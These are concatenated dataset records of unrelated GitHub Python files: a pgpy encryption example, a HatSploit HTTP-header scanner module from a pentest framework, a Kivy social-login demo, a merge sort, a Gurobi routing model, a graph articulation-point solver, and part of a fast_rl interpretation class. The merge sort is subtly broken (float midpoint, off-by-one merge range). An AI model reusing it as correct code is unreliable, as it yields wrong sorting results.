CompressionAlgorithm\nfrom datetime import timedelta\nimport pgpy\n\n# we can start by generating a primary key. For this example, we'll use RSA, but it could be DSA or ECDSA as well\nkey = pgpy.PGPKey.new(PubKeyAlgorithm.RSAEncryptOrSign, 4096)\n\n#new user id for the key\nuid = pgpy.PGPUID.new('Spyros Grammatakis', comment='Honest user', email='test@test.com')\n\n# add the new user id to the key\nkey.add_uid(uid,seflsign=True, usage={KeyFlags.Sign},\n hashes=[HashAlgorithm.SHA256],\n\t ciphers=[SymmetricKeyAlgorithm.AES256],\n compression=[CompressionAlgorithm.ZLIB, CompressionAlgorithm.BZ2, CompressionAlgorithm.ZIP, CompressionAlgorithm.Uncompressed],\n\t key_expires=timedelta(days=365))\n\n# protect primary private key with passphrase\nkey.protect(\"primary\", SymmetricKeyAlgorithm.AES256, HashAlgorithm.SHA256)\n\n# generate a sub key.\nsubkey = pgpy.PGPKey.new(PubKeyAlgorithm.ECDH, EllipticCurveOID.NIST_P256)\n\n\n# protect subkey private key with passphraee\nsubkey.protect(\"sub\", SymmetricKeyAlgorithm.AES256, HashAlgorithm.SHA256)\n\n# compressed by default with ZIP DEFLATE\nmessage = pgpy.PGPMessage.new(\"This is the new message!\")\n\n#sign key and message\nwith key.unlock(\"primary\"):\n\tsig = key.sign(message)\n\tmessage |= key.sign(message)\n\twith subkey.unlock(\"sub\"):\n\t\tkey.add_subkey(subkey, usage={KeyFlags.EncryptCommunications})\n\t\tsubkey.pubkey |= key.certify(subkey.pubkey)\n\t\tkey.protect(\"key\", SymmetricKeyAlgorithm.AES256, HashAlgorithm.SHA256)\n\nencrypted_message = subkey.pubkey.encrypt(message)\nprint(encrypted_message)\nkey.pubkey.verify(message)\nwith key.unlock(\"key\"):\n\tassert subkey.is_protected\n\twith subkey.unlock(\"key\"):\n\t\tassert subkey.is_unlocked\n\t\tprint(message)\n\t\tdecrypted_message = subkey.decrypt(encrypted_message)\n\t\tprint(key.pubkey.verify(decrypted_message))\n\t\tprint(decrypted_message.message)\n","repo_name":"spgrammatakis/pgp.py","sub_path":"pgp.py","file_name":"pgp.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"33938967301","text":"\"\"\"\nThis module requires HatSploit: https://hatsploit.com\nCurrent source: https://github.com/EntySec/HatSploit\n\"\"\"\n\nfrom hatsploit.lib.module.basic import *\nfrom pex.proto.http import HTTPClient\nfrom pex.proto.tcp import TCPTools\n\n\nclass HatSploitModule(HTTPClient, Module, TCPTools):\n def __init__(self):\n super().__init__()\n\n self.details.update({\n 'Category': 'auxiliary',\n 'Name': 'HTTP Header',\n 'Module': 'auxiliary/generic/scanner/http_header',\n 'Authors': ['Noah Altunian (naltun) - contributor'],\n 'Description': 'Retrieve HTTP headers from a server.',\n 'Platform': 'generic',\n 'Rank': 'low',\n })\n\n self.host = IPv4Option(None, \"Remote host.\", True)\n self.port = PortOption(80, \"Remote port\", True)\n\n self.http_methods = ['HEAD', 'GET']\n self.headers = {}\n\n def run(self):\n remote_host, remote_port = self.host.value, self.port.value\n\n self.print_process(f'Scanning {remote_host}...')\n if self.check_tcp_port(remote_host, remote_port):\n for method in self.http_methods:\n resp = self.http_request(\n method=method,\n host=remote_host,\n port=remote_port,\n path='/',\n )\n\n if resp.status_code != 405:\n self.print_information(\n f'Header retrieved with %bold{method}%end HTTP method...'\n )\n self.print_success('HTTP header:')\n for header, content in resp.headers.items():\n self.print_empty(f'%bold{header}%end: {content}')\n break\n else:\n self.print_error(f'Could not connect to {remote_host}:{remote_port}')\n","repo_name":"EntySec/HatSploit","sub_path":"hatsploit/modules/auxiliary/generic/scanner/http_header.py","file_name":"http_header.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":228,"dataset":"github-code","pt":"50"} +{"seq_id":"15891004134","text":"from kivy.app import App\nfrom kivy.uix.screenmanager import ScreenManager, Screen\nfrom kivy.lang.builder import Builder\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.logger import Logger\nfrom kivy.clock import Clock\nfrom kivy.uix.image import AsyncImage\nfrom kivy.metrics import dp\n\nimport os\n\nfrom kivyauth.initialize import initialize_google, initialize_fb, initialize_firebase\nfrom kivyauth.logins import login_google, login_facebook, login_github, login_twitter, logout, login_providers\n\nfrom kivymd.app import MDApp\nfrom kivymd.uix.button import RectangularElevationBehavior, MDRectangleFlatIconButton\nfrom kivymd.uix.toolbar import MDToolbar\n\nfrom jnius import autoclass, cast\nfrom android.runnable import run_on_ui_thread\n\nimport certifi\n\nos.environ['SSL_CERT_FILE']= certifi.where()\n\nToast= autoclass('android.widget.Toast')\nString = autoclass('java.lang.String')\nCharSequence= autoclass('java.lang.CharSequence')\n\nPythonActivity= autoclass('org.kivy.android.PythonActivity')\n\ncontext= PythonActivity.mActivity\nRC_SIGN_IN= 999\ncurrent_provider= \"\"\n\n@run_on_ui_thread\ndef show_toast(text):\n t= Toast.makeText(context, cast(CharSequence, String(text)), Toast.LENGTH_SHORT)\n t.show()\n\nkv=\"\"\"\n#:import Clock kivy.clock.Clock\nScreenManager:\n \n LoginScreen:\n id: login_screen\n \n HomeScreen:\n id: home_screen\n\n:\n name:\"loginscreen\"\n BoxLayout:\n orientation:\"vertical\"\n\n MDToolbar:\n title: \"Social Auth Kivy Demo\"\n elevation:9\n opposite_colos: True\n left_action_items: [['menu', lambda x: None]]\n right_action_items: [['information-outline', lambda x: None]]\n\n BoxLayout:\n orientation:\"vertical\"\n\n Widget:\n size_hint_y: None\n height: dp(100)\n\n LoginButton\n text: \"Sign In with Google\"\n icon: \"google\"\n text_color: 1,1,1,1\n can_color: 66/255, 133/255, 244/255, 1\n release_action: app.gl_login\n \n LoginButton\n text: \"Sign In with Facebook\"\n icon: \"facebook-box\"\n text_color: 1,1,1,1\n can_color: 59/255, 89/255, 152/255, 1\n release_action: app.fb_login\n \n LoginButton\n text: \"Sign In with Github\"\n icon: \"github-circle\"\n text_color: 1,1,1,1\n can_color: 33/255, 31/255, 31/255, 1\n release_action: app.git_login\n \n LoginButton\n text: \"Sign In with Twitter\"\n icon: \"twitter\"\n text_color: 1,1,1,1\n can_color: 8/255, 160/255, 233/255, 1\n release_action: app.twitter_login\n \n Widget:\n size_hint_y: None\n height: dp(100)\n\n:\n text:\"\"\n icon: \"\"\n text_color: [0,0,0,1]\n can_color: 1,1,1,1\n release_action: print\n RectangleRaisedIconButton:\n elevation:8\n width: dp(270)\n height: dp(50)\n canvas.before:\n Color:\n rgba: root.can_color\n Rectangle:\n pos: self.pos\n size: self.size\n \n icon: root.icon\n text: root.text\n font_size: dp(8)\n text_color: root.text_color\n on_release:\n if root.release_action: Clock.schedule_once(root.release_action, 0)\n \n\n:\n name:\"homescreen\"\n\n BoxLayout:\n id: main_box\n orientation:\"vertical\"\n\n MDToolbar:\n id: user_name\n title: \"\"\n elevation:9\n opposite_colos: True\n left_action_items: [['menu', lambda x: None]]\n right_action_items: [['information-outline', lambda x: None]]\n \n AnchorLayout:\n id: user_photo\n\n BoxLayout:\n size_hint_y:None\n height: dp(20)\n padding: dp(5)\n \n MDLabel:\n id: user_email\n halign: \"center\"\n font_style: \"Body1\"\n text: \"\"\n\n AnchorLayout:\n MDRaisedButton:\n text: \"LOGOUT\"\n md_bg_color: .9,.9,.9,1\n theme_text_color: \"Custom\"\n font_color: 0,0,0,1\n text_color: 0,0,0,1\n on_release:\n app.logout_()\n\n\n\"\"\"\n\nclass LoginScreen(Screen):\n pass\n\nclass RectangleRaisedIconButton(MDRectangleFlatIconButton, RectangularElevationBehavior):\n elevation_normal=16\n \nclass LoginDemo(MDApp):\n def build(self):\n\n self.mGSignInClient= initialize_google(self.after_login, self.error_listener, RC_SIGN_IN)\n self.mList= initialize_fb(self.after_login, self.cancel_listener, self.error_listener)\n initialize_firebase()\n\n return Builder.load_string(kv)\n \n def on_resume(self):\n return True\n \n def on_start(self):\n # If a user is logged in, send them to login page on start\n # Since we've different providers here, you need to check them all &\n # login using your priority if logged in with more than one provider\n # Below is an example of fb login. Refer to other providers' doc for their\n # implementations\n\n #accessToken = AccessToken.getCurrentAccessToken()\n #if accessToken and not accessToken.isExpired():\n # self.fb_login()\n pass\n \n def fb_login(self, *args):\n login_facebook(self.mList)\n global current_provider\n current_provider= login_providers.facebook\n \n def gl_login(self, *args):\n login_google(self.mGSignInClient, RC_SIGN_IN)\n global current_provider\n current_provider= login_providers.google\n \n def git_login(self, *args):\n login_github(self.after_login, self.error_listener)\n global current_provider\n current_provider= login_providers.github\n\n def twitter_login(self, *args):\n login_twitter(self.after_login, self.error_listener)\n global current_provider\n current_provider= login_providers.twitter\n\n def logout_(self):\n logout(current_provider, self.after_logout)\n\n def after_login(self, name, email, photo_uri):\n show_toast('Logged in using {}'.format(current_provider))\n self.root.current= 'homescreen'\n self.update_ui(name, email, photo_uri)\n\n def after_logout(self):\n self.update_ui('','','')\n self.root.current= 'loginscreen'\n show_toast('Logged out from {} login'.format(current_provider))\n \n def update_ui(self, name, email, photo_uri):\n self.root.ids.home_screen.ids.user_photo.add_widget(AsyncImage(source=photo_uri, size_hint=(None, None), height=dp(60), width=dp(60)))\n self.root.ids.home_screen.ids.user_name.title= \"Welcome, {}\".format(name)\n self.root.ids.home_screen.ids.user_email.text= \"Your Email: {}\".format(email) if email else \"Your Email: Could not fetch email\"\n\n def cancel_listener(self):\n show_toast(\"Login cancelled\")\n \n def error_listener(self):\n show_toast(\"Error logging in.\")\n\nif __name__ == \"__main__\":\n LoginDemo().run()\n","repo_name":"TimskiB/Light-Share","sub_path":"LightShareUser/zipp/social-auth-kivy-17772fb7808ca396b481d08e6cd3aad27a64cbb9/demo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"69915559196","text":"#!/usr/bin/python\n\n# Implementation of the merge sort algorithm described in CLRS p.31\n\nimport numpy as np\n\ndef merge(arr, p, q, r):\n n1 = q - p + 1\n n2 = r - q\n left = []\n right = []\n for i in range(1, n1+1):\n left.append(arr[p+i-1])\n for j in range(1, n2+1):\n right.append(arr[q+j])\n left.append(np.inf)\n right.append(np.inf)\n i = 0\n j = 0\n for k in range(p, r):\n if left[i] <= right[j]:\n arr[k] = left[i]\n i += 1\n else:\n arr[k] = right[j]\n j += 1\n\n\ndef merge_sort(arr, p, r):\n if p < r:\n q = (p + r) / 2\n merge_sort(arr, p, q)\n merge_sort(arr, q+1, r)\n merge(arr, p, q, r)\n\n \n\ndef main():\n pass\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"avgn/algorithms","sub_path":"merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"16788248218","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Nov 7 01:02:42 2019\r\n\r\n@author: Karnika\r\n\"\"\"\r\n\r\nfrom gurobipy import*\r\nimport os\r\nimport xlrd\r\nfrom scipy import spatial\r\nfrom sklearn.metrics.pairwise import euclidean_distances\r\n\r\nbook = xlrd.open_workbook(os.path.join(\"Input Data.xlsx\"))\r\n\r\nN=[]\r\nDemand={}\r\nco={}\r\ncij={}\r\nK=['V1','V2'] \r\nCap = 36\r\ndistance=59.2*1000\r\ntime=48000\r\nsh = book.sheet_by_name(\"demand\")\r\ni = 1\r\nwhile True:\r\n try:\r\n sp = sh.cell_value(i,0)\r\n N.append(sp)\r\n Demand[sp]=sh.cell_value(i,1) \r\n i = i + 1\r\n \r\n except IndexError:\r\n break\r\nN_Dash=N[1:]\r\nsh = book.sheet_by_name(\"distance\") \r\ndij={}\r\n\r\ni = 1\r\nfor P in N:\r\n j = 1\r\n for Q in N:\r\n dij[P,Q] = sh.cell_value(i,j)\r\n j += 1\r\n i += 1\r\nsh = book.sheet_by_name(\"time\") \r\ntij={}\r\n\r\ni = 1\r\nfor P in N:\r\n j = 1\r\n for Q in N:\r\n tij[P,Q] = sh.cell_value(i,j)\r\n j += 1\r\n i += 1\r\n\r\n \r\nm=Model(\"Bosch Route Optimization\")\r\n\r\nm.modelSense=GRB.MINIMIZE\r\n\r\nxijk = m.addVars(N,N,K, vtype=GRB.BINARY ,name='X_ij' )\r\nzik = m.addVars(N,K, vtype=GRB.INTEGER ,name='Z_ik' )\r\nU_ik = m.addVars(N,K, vtype=GRB.CONTINUOUS,name='U_ik' )\r\n\r\n\r\nm.setObjective(sum(dij[i,j]*xijk[i,j,k] for i in N for j in N for k in K if i!=j))\r\nfor k in K :\r\n m.addConstr(sum(xijk['Yelachenahalli metro Station',j,k] for j in N )==1)\r\nfor k in K:\r\n m.addConstr(sum(xijk[i,'Bosch Bidadi',k] for i in N )==1)\r\nfor i in N:\r\n for k in K:\r\n if i != 'Yelachenahalli metro Station' and i!= 'Bosch Bidadi':\r\n m.addConstr(sum(xijk[i,j,k] for j in N if j!=i )==zik[i,k]) \r\n m.addConstr(sum(xijk[j,i,k] for j in N if i!=j )==zik[i,k]) \r\n \r\nfor i in N_Dash:\r\n m.addConstr(sum(zik[i,k] for k in K) ==1)\r\n \r\nfor k in K:\r\n m.addConstr(sum(xijk[i,j,k]*dij[i,j] for i in N for j in N if i!=j)<=distance)\r\n m.addConstr(sum(xijk[i,j,k]*tij[i,j] for i in N for j in N if i!=j)<=time)\r\n\r\n \r\nfor i in N_Dash:\r\n for j in N:\r\n for k in K:\r\n m.addConstr(U_ik[i,k] - U_ik[j,k] + Cap*xijk[i,j,k] <= Cap - Demand[j]) \r\n\r\nfor i in N_Dash:\r\n for k in K:\r\n m.addConstr(U_ik[i,k] <= Cap) and m.addConstr(U_ik[i,k] >= Demand[i]) \r\n \r\nm.write('BOSCH.lp')\r\nm.optimize()\r\n \r\nfor v in m.getVars():\r\n if v.x > 0.01:\r\n print(v.varName, round(v.x,0))\r\nprint('Objective:',m.objVal)\r\n\r\n\r\n\r\n","repo_name":"adityauser/BOSCH-Route-Optimization","sub_path":"BOSCH_MP.py","file_name":"BOSCH_MP.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"50"} +{"seq_id":"38615760870","text":"\"\"\"\nE. Точки сочленения\n\nограничение по времени на тест: 2 секунды\nограничение по памяти на тест: 256 мегабайт\nввод: стандартный ввод\nвывод: стандартный вывод\n\nДан неориентированный граф. Требуется найти все точки сочленения в нём.\n\nВходные данные\nПервая строка входного файла содержит два натуральных числа 𝑛 и 𝑚 — количества вершин и рёбер графа\nсоответственно (1⩽𝑛⩽20000, 1⩽𝑚⩽200000).\nСледующие 𝑚 строк содержат описание рёбер по одному на строке.\nРебро номер 𝑖 описывается двумя натуральными числами 𝑏𝑖, 𝑒𝑖 — номерами концов ребра (1⩽𝑏𝑖,𝑒𝑖⩽𝑛).\n\nВыходные данные\nПервая строка выходного файла должна содержать одно натуральное число 𝑏 — количество точек сочленения в заданном графе.\nНа следующей строке выведите 𝑏 целых чисел — номера вершин, которые являются точками сочленения, в возрастающем порядке.\n\nПример\nвходные данные\n6 7\n1 2\n2 3\n2 4\n2 5\n4 5\n1 3\n3 6\nвыходные данные\n2\n2 3\n\"\"\"\nimport sys\nimport threading\n\n\nRECURSION_LIMIT = 10 ** 9\nSTACK_SIZE = 2 ** 26\n\n\nclass Graph:\n def __init__(self, n):\n self.graph_list = [set() for _ in range(n)]\n self.visited = [False for _ in range(n)]\n self.tin = [0 for _ in range(n)]\n self.up = [0 for _ in range(n)]\n self.cut_points = set()\n\n def add_edge(self, a, b):\n self.graph_list[a].add(b)\n self.graph_list[b].add(a)\n\n def dfs(self, v, time, parent):\n self.visited[v] = True\n time += 1\n self.tin[v] = time\n self.up[v] = time\n children_num = 0\n for v_neighbor in self.graph_list[v]:\n if v == v_neighbor:\n continue\n if self.visited[v_neighbor]:\n self.up[v] = min(self.up[v], self.tin[v_neighbor])\n else:\n self.dfs(v_neighbor, time, v)\n self.up[v] = min(self.up[v], self.up[v_neighbor])\n if self.up[v_neighbor] >= self.tin[v] and parent != -1:\n self.cut_points.add(v + 1)\n children_num += 1\n if parent == -1 and children_num > 1:\n self.cut_points.add(v + 1)\n\n\ndef main():\n data = sys.stdin.buffer.read().splitlines()\n n, m = map(int, data[0].split())\n\n graph = Graph(n)\n for row in data[1:]:\n a, b = map(int, row.split())\n graph.add_edge(a - 1, b - 1)\n\n for v in range(n):\n if graph.visited[v] == 0:\n graph.dfs(v, 0, -1)\n print(len(graph.cut_points))\n print(' '.join(map(str, sorted(list(graph.cut_points)))))\n\n\nif __name__ == \"__main__\":\n sys.setrecursionlimit(RECURSION_LIMIT)\n threading.stack_size(STACK_SIZE)\n thread = threading.Thread(target=main)\n thread.start()\n","repo_name":"AnnaSmelova/Algorithms_and_Data_Structures","sub_path":"10. Графы - 1. Введение/E_Articulation_points.py","file_name":"E_Articulation_points.py","file_ext":"py","file_size_in_byte":3358,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"26069907645","text":"from random import randint\n\nlista = []\n\nfor i in range(100):\n szam:int = randint(200, 1999) * 5\n lista.append(szam)\n print(lista[i], end=' ')\n if (i+1) % 10 == 0: print()\n\nprint(f'lista elemeinek összege: {sum(lista)}')\n\ndb_4K5K:int = 0\nsum_4K5K:int = 0\nfor e in lista:\n if 4000 <= e < 5000:\n db_4K5K += 1\n sum_4K5K += e\nprint(f'[4K,5K) közötti elemek átlaga: {sum_4K5K / db_4K5K}')\n\nmaxi = 0\nfor i in range(1, len(lista)):\n if lista[i] > lista[maxi]:\n maxi = i\nprint(f'a legnagyobb elem: lista[{maxi}] = {lista[maxi]}')\nprint(f'sor: {maxi // 10 + 1}')\nprint(f'oszlop: {maxi % 10 + 1}')\n\ndb_25K:int = 0\nsum_25K:int = 0\n\nwhile sum_25K < 25000:\n sum_25K += lista[db_25K]\n db_25K += 1\nprint(f'összesen {db_25K} elemet kell összeadnom a lista elejétől, hogy elérjem a 25.000 összeget!')","repo_name":"JuhaszZoltan/PY221123_2","sub_path":"gyakorlas.py","file_name":"gyakorlas.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"71724751194","text":"import io\nfrom functools import partial\nfrom typing import List, Tuple, Dict\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.stats as st\nimport torch\nfrom PIL import Image\nfrom fastai.train import Interpretation, DatasetType, copy\nfrom gym.spaces import Box\nfrom itertools import product\nfrom matplotlib.axes import Axes\nfrom matplotlib.figure import Figure\nfrom moviepy.video.VideoClip import VideoClip\nfrom moviepy.video.io.bindings import mplfig_to_npimage\nfrom torch import nn\n\nfrom fast_rl.core import Learner\nfrom fast_rl.core.data_block import MarkovDecisionProcessSliceAlpha, FEED_TYPE_IMAGE\n\n\nclass AgentInterpretationAlpha(Interpretation):\n def __init__(self, learn: Learner, ds_type: DatasetType = DatasetType.Valid, base_chart_size=(20, 10)):\n \"\"\"\n Handles converting a learner, and it's runs into useful human interpretable information.\n\n Notes:\n This class is called AgentInterpretationAlpha because it will overall get deprecated.\n The final working version will be called AgentInterpretation.\n\n Args:\n learn:\n \"\"\"\n super().__init__(learn, None, None, None, ds_type=ds_type)\n self.current_animation = None\n plt.rcParams[\"figure.figsize\"] = base_chart_size\n \n def _get_items(self, ignore=True):\n episodes = list(self.ds.x.info.keys())\n if ignore or len(episodes) == 0: return self.ds.x.items\n return [item for item in self.ds.x.items if item.episode in episodes]\n\n @classmethod\n def from_learner(cls, learn: Learner, ds_type: DatasetType = DatasetType.Valid, activ: nn.Module = None):\n raise NotImplementedError\n\n def normalize(self, item: np.array):\n if np.max(item) - np.min(item) != 0:\n return np.divide(item + np.min(item), np.max(item) - np.min(item))\n else:\n item.fill(1)\n return item\n\n def top_losses(self, k: int = None, largest=True):\n raise NotImplementedError\n\n def reward_heatmap(self, episode_slices: List[MarkovDecisionProcessSliceAlpha], action=None):\n \"\"\"\n Takes a state_space and uses the agent to heat map rewards over the space.\n\n We first need to determine if the s space is discrete or discrete.\n\n Args:\n state_space:\n\n Returns:\n\n \"\"\"\n if action is not None: action = torch.tensor(action).long()\n current_state_slice = [p for p in product(\n np.arange(min(self.ds.env.observation_space.low), max(self.ds.env.observation_space.high) + 1),\n repeat=len(self.ds.env.observation_space.high))]\n heat_map = np.zeros(np.add(self.ds.env.observation_space.high, 1))\n with torch.no_grad():\n for state in current_state_slice:\n if action is not None:\n heat_map[state] = self.learn.model(torch.from_numpy(np.array(state)).unsqueeze(0))[0].gather(0, action)\n else:\n self.learn.model.eval()\n if self.learn.model.name == 'DDPG':\n heat_map[state] = self.learn.model.critic_model(torch.cat((torch.from_numpy(np.array(state)).unsqueeze(0).float(), self.learn.model.action_model(torch.from_numpy(np.array(state)).unsqueeze(0).float())), 1))\n else:\n heat_map[state] = self.learn.model(torch.from_numpy(np.array(state)).unsqueeze(0))[0].max().numpy()\n return heat_map\n\n def plot_heatmapped_episode(self, episode, fig_size=(13, 5), action_index=None, return_heat_maps=False):\n \"\"\"\n Generates plots of heatmapped s spaces for analyzing reward distribution.\n\n Currently only makes sense for grid based envs. Will be expecting gym_maze environments that are discrete.\n\n Returns:\n\n \"\"\"\n if not str(self.ds.env.spec).__contains__('maze'):\n raise NotImplementedError('Currently only supports gym_maze envs that have discrete s spaces')\n if not isinstance(self.ds.state_size, Box):\n raise NotImplementedError('Currently only supports Box based s spaces with 2 dimensions')\n\n items = self._get_items()\n heat_maps = []\n\n # For each episode\n buffer = []\n episode = episode if episode != -1 else list(set([i.episode for i in items]))[-1]\n for item in [i for i in items if i.episode == episode]:\n buffer.append(item)\n heat_map = self.reward_heatmap(buffer, action=action_index)\n heat_maps.append((copy(heat_map), copy(buffer[-1]), copy(episode)))\n\n plots = []\n for single_heatmap in [heat_maps[-1]]:\n fig, ax = plt.subplots(1, 2, figsize=fig_size)\n fig.suptitle(f'Episode {episode}')\n ax[0].imshow(single_heatmap[1].to_one().data)\n im = ax[1].imshow(single_heatmap[0])\n ax[0].grid(False)\n ax[1].grid(False)\n ax[0].set_title('Final State Snapshot')\n ax[1].set_title('State Space Heatmap')\n fig.colorbar(im, ax=ax[1])\n\n buf = io.BytesIO()\n fig.savefig(buf, format='png')\n # Closing the figure prevents it from being displayed directly inside\n # the notebook.\n plt.close(fig)\n buf.seek(0)\n # Create Image object\n plots.append(np.array(Image.open(buf))[:, :, :3])\n\n for plot in plots:\n plt.grid(False)\n plt.xticks([])\n plt.yticks([])\n plt.tight_layout()\n plt.imshow(plot)\n plt.show()\n\n if return_heat_maps: return heat_maps\n\n def plot_episode(self, episode):\n items = self._get_items(False) # type: List[MarkovDecisionProcessSliceAlpha]\n\n episode_counter = 0\n # For each episode\n buffer = []\n for item in items:\n buffer.append(item)\n if item.done:\n if episode_counter == episode:\n break\n episode_counter += 1\n buffer = []\n\n plots = []\n with torch.no_grad():\n agent_reward_plots = [self.learn.model(torch.from_numpy(np.array(i.current_state))).max().numpy() for i in\n buffer]\n fig, ax = plt.subplots(1, 1, figsize=(5, 5))\n fig.suptitle(f'Episode {episode}')\n ax.plot(agent_reward_plots)\n ax.set_xlabel('Time Steps')\n ax.set_ylabel('Max Expected Reward from Agent')\n\n buf = io.BytesIO()\n fig.savefig(buf, format='png')\n # Closing the figure prevents it from being displayed directly inside\n # the notebook.\n plt.close(fig)\n buf.seek(0)\n # Create Image object\n plots.append(np.array(Image.open(buf))[:, :, :3])\n\n for plot in plots:\n plt.grid(False)\n plt.xticks([])\n plt.yticks([])\n plt.tight_layout()\n plt.imshow(plot)\n plt.show()\n\n def get_agent_accuracy_density(self, items, episode_num=None):\n x = None\n y = None\n\n for episode in [_ for _ in list(set(mdp.episode for mdp in items)) if episode_num is None or episode_num == _]:\n subset = [item for item in items if item.episode == episode]\n state = np.array([_.current_state for _ in subset])\n result_state = np.array([_.result_state for _ in subset])\n\n prim_q_pred = self.learn.model(torch.from_numpy(state))\n target_q_pred = self.learn.model.target_net(torch.from_numpy(state).float())\n state_difference = (prim_q_pred - target_q_pred).sum(1)\n prim_q_pred = self.learn.model(torch.from_numpy(result_state))\n target_q_pred = self.learn.model.target_net(torch.from_numpy(result_state).float())\n result_state_difference = (prim_q_pred - target_q_pred).sum(1)\n\n x = state_difference if x is None else np.hstack((x, state_difference))\n y = result_state_difference if y is None else np.hstack((y, result_state_difference))\n\n return x, y\n\n def plot_agent_accuracy_density(self, episode_num=None):\n \"\"\"\n Heat maps the density of actual vs estimated q v. Good reference for this is at [1].\n\n References:\n [1] \"Simple Example Of 2D Density Plots In Python.\" Medium. N. p., 2019. Web. 31 Aug. 2019.\n https://towardsdatascience.com/simple-example-of-2d-density-plots-in-python-83b83b934f67\n\n Returns:\n\n \"\"\"\n items = self._get_items(False) # type: List[MarkovDecisionProcessSliceAlpha]\n x, y = self.get_agent_accuracy_density(items, episode_num)\n\n fig = plt.figure(figsize=(8, 8))\n ax = fig.gca()\n fig.suptitle(f'{self.learn.model.name} for {self.ds.env.spec._env_name}')\n ax.set_ylabel('State / State Prime Q Value Deviation')\n ax.set_xlabel('Iterations')\n ax.plot(np.hstack([x, y]))\n plt.show()\n\n def get_q_density(self, items, episode_num=None):\n x = None\n y = None\n\n for episode in [_ for _ in list(set(mdp.episode for mdp in items)) if episode_num is None or episode_num == _]:\n subset = [item for item in items if item.episode == episode]\n r = np.array([_.reward for _ in subset])\n # Gets the total accumulated r over a single markov chain\n actual_returns = np.flip([np.cumsum(r)[i:][0] for i in np.flip(np.arange(len(r)))]).reshape(1, -1)\n estimated_returns = self.learn.model.interpret_q(subset).view(1, -1).numpy()\n x = actual_returns if x is None else np.hstack((x, actual_returns))\n y = estimated_returns if y is None else np.hstack((y, estimated_returns))\n\n return self.normalize(x), self.normalize(y)\n\n def plot_q_density(self, episode_num=None):\n \"\"\"\n Heat maps the density of actual vs estimated q v. Good reference for this is at [1].\n\n References:\n [1] \"Simple Example Of 2D Density Plots In Python.\" Medium. N. p., 2019. Web. 31 Aug. 2019.\n https://towardsdatascience.com/simple-example-of-2d-density-plots-in-python-83b83b934f67\n\n Returns:\n\n \"\"\"\n items = self._get_items(False) # type: List[MarkovDecisionProcessSliceAlpha]\n x, y = self.get_q_density(items, episode_num)\n\n # Define the borders\n deltaX = (np.max(x) - np.min(x)) / 10\n deltaY = (np.max(y) - np.min(y)) / 10\n xmin = np.min(x) - deltaX\n xmax = np.max(x) + deltaX\n ymin = np.min(y) - deltaY\n ymax = np.max(y) + deltaY\n print(xmin, xmax, ymin, ymax)\n # Create meshgrid\n xx, yy = np.mgrid[xmin:xmax:100j, ymin:ymax:100j]\n\n positions = np.vstack([xx.ravel(), yy.ravel()])\n values = np.vstack([x, y])\n\n kernel = st.gaussian_kde(values)\n\n f = np.reshape(kernel(positions).T, xx.shape)\n\n fig = plt.figure(figsize=(8, 8))\n ax = fig.gca()\n ax.set_xlim(xmin, xmax)\n ax.set_ylim(ymin, ymax)\n cfset = ax.contourf(xx, yy, f, cmap='coolwarm')\n ax.imshow(np.rot90(f), cmap='coolwarm', extent=[xmin, xmax, ymin, ymax])\n cset = ax.contour(xx, yy, f, colors='k')\n ax.clabel(cset, inline=1, fontsize=10)\n ax.set_xlabel('Actual Returns')\n ax.set_ylabel('Estimated Q')\n if episode_num is None:\n plt.title('2D Gaussian Kernel Q Density Estimation')\n else:\n plt.title(f'2D Gaussian Kernel Q Density Estimation for episode {episode_num}')\n plt.show()\n\n def plot_rewards_over_iterations(self, cumulative=False, return_rewards=False):\n items = self._get_items()\n r_iter = [el.reward[0] if np.ndim(el.reward) == 0 else np.average(el.reward) for el in items]\n if cumulative: r_iter = np.cumsum(r_iter)\n fig = plt.figure(figsize=(8, 8))\n ax = fig.gca()\n fig.suptitle(f'{self.learn.model.name} for {self.ds.env.spec._env_name}')\n ax.set_ylabel('Rewards' if not cumulative else 'Cumulative Rewards')\n ax.set_xlabel('Iterations')\n ax.plot(r_iter)\n plt.show()\n if return_rewards: return r_iter\n\n def plot_rewards_over_episodes(self, cumulative=False, fig_size=(8, 8)):\n items = self._get_items()\n r_iter = [(el.reward[0] if np.ndim(el.reward) == 0 else np.average(el.reward), el.episode) for el in items]\n rewards, episodes = zip(*r_iter)\n if cumulative: rewards = np.cumsum(rewards)\n fig = plt.figure(figsize=(8, 8))\n ax = fig.gca()\n fig.suptitle(f'{self.learn.model.name} for {self.ds.env.spec._env_name}')\n ax.set_ylabel('Rewards' if not cumulative else 'Cumulative Rewards')\n ax.set_xlabel('Episodes')\n ax.xaxis.set_ticks([i for i, el in enumerate(episodes) if episodes[i - 1] != el or i == 0])\n ax.xaxis.set_ticklabels([el for i, el in enumerate(episodes) if episodes[i - 1] != el or i == 0])\n ax.plot(rewards)\n plt.show()\n\n def episode_video_frames(self, episode=None) -> Dict[str, np.array]:\n \"\"\" Returns numpy arrays representing purely episode frames. \"\"\"\n items = self._get_items(False)\n if episode is None: episode_frames = {key: None for key in list(set([_.episode for _ in items]))}\n else: episode_frames = {episode: None}\n\n for key in episode_frames:\n if self.ds.feed_type == FEED_TYPE_IMAGE:\n episode_frames[key] = np.array([_.current_state for _ in items if key == _.episode])\n else:\n episode_frames[key] = np.array([_.alternate_state for _ in items if key == _.episode])\n\n return episode_frames\n\n def episode_to_gif(self, episode=None, path='', fps=30):\n frames = self.episode_video_frames(episode)\n\n for ep in frames:\n fig, ax = plt.subplots()\n animation = VideoClip(partial(self._make_frame, frames=frames[ep], axes=ax, fig=fig, 